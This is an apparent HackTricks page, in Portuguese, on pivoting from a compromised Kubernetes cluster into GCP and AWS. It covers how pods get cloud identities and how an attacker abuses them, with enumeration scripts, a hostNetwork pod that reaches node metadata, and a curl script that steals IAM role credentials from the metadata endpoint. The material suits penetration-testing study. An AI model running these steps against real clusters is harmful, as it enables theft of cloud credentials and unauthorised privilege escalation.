Kubernetes Pivoting to Clouds

Apoie o HackTricks e obtenha benefícios!

GCP

Se você estiver executando um cluster k8s dentro do GCP, provavelmente desejará que alguma aplicação em execução dentro do cluster tenha acesso ao GCP. Existem 2 maneiras comuns de fazer isso:

Montando chaves GCP-SA como segredo

Uma maneira comum de dar acesso a uma aplicação Kubernetes ao GCP é:

  • Criar uma Conta de Serviço do GCP

  • Vincular a ela as permissões desejadas

  • Baixar uma chave json da SA criada

  • Montá-la como um segredo dentro do pod

  • Definir a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.

Portanto, como um atacante, se você comprometer um contêiner dentro de um pod, verifique essa variável de ambiente e arquivos json com credenciais do GCP.

Relacionando o json do GSA ao segredo do KSA

Uma maneira de dar acesso a um GSA a um cluster GKE é vinculá-los da seguinte maneira:

  • Crie uma conta de serviço do Kubernetes no mesmo namespace do seu cluster GKE usando o seguinte comando:

Copy codekubectl create serviceaccount <service-account-name>
  • Crie um Segredo do Kubernetes que contenha as credenciais da conta de serviço do GCP à qual você deseja conceder acesso ao cluster GKE. Você pode fazer isso usando a ferramenta de linha de comando gcloud, conforme mostrado no exemplo a seguir:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Vincule o Segredo do Kubernetes à conta de serviço do Kubernetes usando o seguinte comando:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

No segundo passo, as credenciais do GSA foram definidas como segredo do KSA. Então, se você puder ler esse segredo de dentro do cluster GKE, você pode elevar para essa conta de serviço do GCP.

Identidade de Carga de Trabalho do GKE

Com a Identidade de Carga de Trabalho, podemos configurar uma conta de serviço do Kubernetes para agir como uma conta de serviço do Google. Os pods em execução com a conta de serviço do Kubernetes serão autenticados automaticamente como a conta de serviço do Google ao acessar as APIs do Google Cloud.

A primeira série de etapas para habilitar esse comportamento é habilitar a Identidade de Carga de Trabalho no GCP (etapas) e criar a conta de serviço do GCP que você deseja que o k8s se faça passar.

  • Habilitar a Identidade de Carga de Trabalho em um novo cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Criar/Atualizar um novo nodepool (clusters do Autopilot não precisam disso)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crie a Conta de Serviço GCP para se passar por a partir do K8s com permissões GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Conecte-se ao cluster e crie a conta de serviço a ser usada

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Vincule o GSA com o KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Execute um pod com o KSA e verifique o acesso ao GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Verifique o seguinte comando para autenticar, caso necessário:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Como um invasor dentro do K8s, você deve procurar por SAs com a anotação iam.gke.io/gcp-service-account, pois isso indica que o SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ele tem acesso. Do GCP, é sempre interessante enumerar as associações e saber a qual acesso você está dando para os SAs dentro do Kubernetes.

Este é um script para iterar facilmente sobre todas as definições de pods procurando por essa anotação:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Função IAM para Pods)

Uma maneira (desatualizada) de fornecer Funções IAM para Pods é usar um servidor Kiam ou Kube2IAM. Basicamente, você precisará executar um daemonset em seu cluster com um tipo de função IAM privilegiada. Este daemonset será responsável por fornecer acesso às funções IAM aos pods que precisam delas.

Antes de tudo, você precisa configurar quais funções podem ser acessadas dentro do namespace, e você faz isso com uma anotação dentro do objeto namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Uma vez que o namespace esteja configurado com as funções IAM que os Pods podem ter, você pode indicar a função desejada em cada definição de pod com algo como:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Como um invasor, se você encontrar essas anotações em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente em kube-system), você pode se passar por qualquer função que já é usada por pods e mais (se tiver acesso à conta AWS, enumere as funções).

Criar Pod com Função IAM

A função IAM a ser indicada deve estar na mesma conta AWS que a função kiam/kube2iam e essa função deve ter acesso a ela.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role para Contas de Serviço do K8s via OIDC

Este é o método recomendado pela AWS.

  1. Primeiro, você precisa criar um provedor OIDC para o cluster.

  2. Em seguida, crie uma função IAM com as permissões necessárias para a conta de serviço.

  3. Crie uma relação de confiança entre a função IAM e a conta de serviço nome (ou os namespaces que concedem acesso à função para todas as contas de serviço do namespace). A relação de confiança verificará principalmente o nome do provedor OIDC, o nome do namespace e o nome da conta de serviço.

  4. Por fim, crie uma conta de serviço com uma anotação indicando o ARN da função, e os pods em execução com essa conta de serviço terão acesso ao token da função. O token é escrito em um arquivo e o caminho é especificado em AWS_WEB_IDENTITY_TOKEN_FILE (padrão: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Para obter o aws usando o token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token, execute:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Como atacante, se você puder enumerar um cluster K8s, verifique se existem contas de serviço com essa anotação para elevar para a AWS. Para fazer isso, basta executar/criar um pod usando uma das contas de serviço privilegiadas do IAM e roubar o token.

Além disso, se você estiver dentro de um pod, verifique as variáveis de ambiente como AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.

Às vezes, a Política de Confiança de uma função pode estar mal configurada e, em vez de conceder acesso AssumeRole à conta de serviço esperada, ela concede acesso a todas as contas de serviço. Portanto, se você for capaz de escrever uma anotação em uma conta de serviço controlada, poderá acessar a função.

Verifique a página a seguir para obter mais informações:

pageAWS - Federation Abuse

Encontrar Pods e SAs com Funções IAM no Cluster

Este é um script para iterar facilmente sobre todos os pods e definições de sas procurando por aquela anotação:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Função IAM do Node

A seção anterior tratava de como roubar Funções IAM com pods, mas observe que um Node do cluster K8s será uma instância dentro da nuvem. Isso significa que é altamente provável que o Node tenha uma nova função IAM que você pode roubar (observe que geralmente todos os nós de um cluster K8s terão a mesma função IAM, então pode não valer a pena verificar cada nó).

No entanto, há um requisito importante para acessar o endpoint de metadados do nó, você precisa estar no nó (sessão ssh?) ou pelo menos ter a mesma rede:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Roubar Token de Função IAM

Anteriormente, discutimos como anexar Funções IAM a Pods ou até mesmo como escapar para o Node para roubar a Função IAM que a instância tem anexada a ela.

Você pode usar o seguinte script para roubar as suas novas e trabalhadas credenciais de função IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referências

Apoie o HackTricks e obtenha benefícios!

Última actualización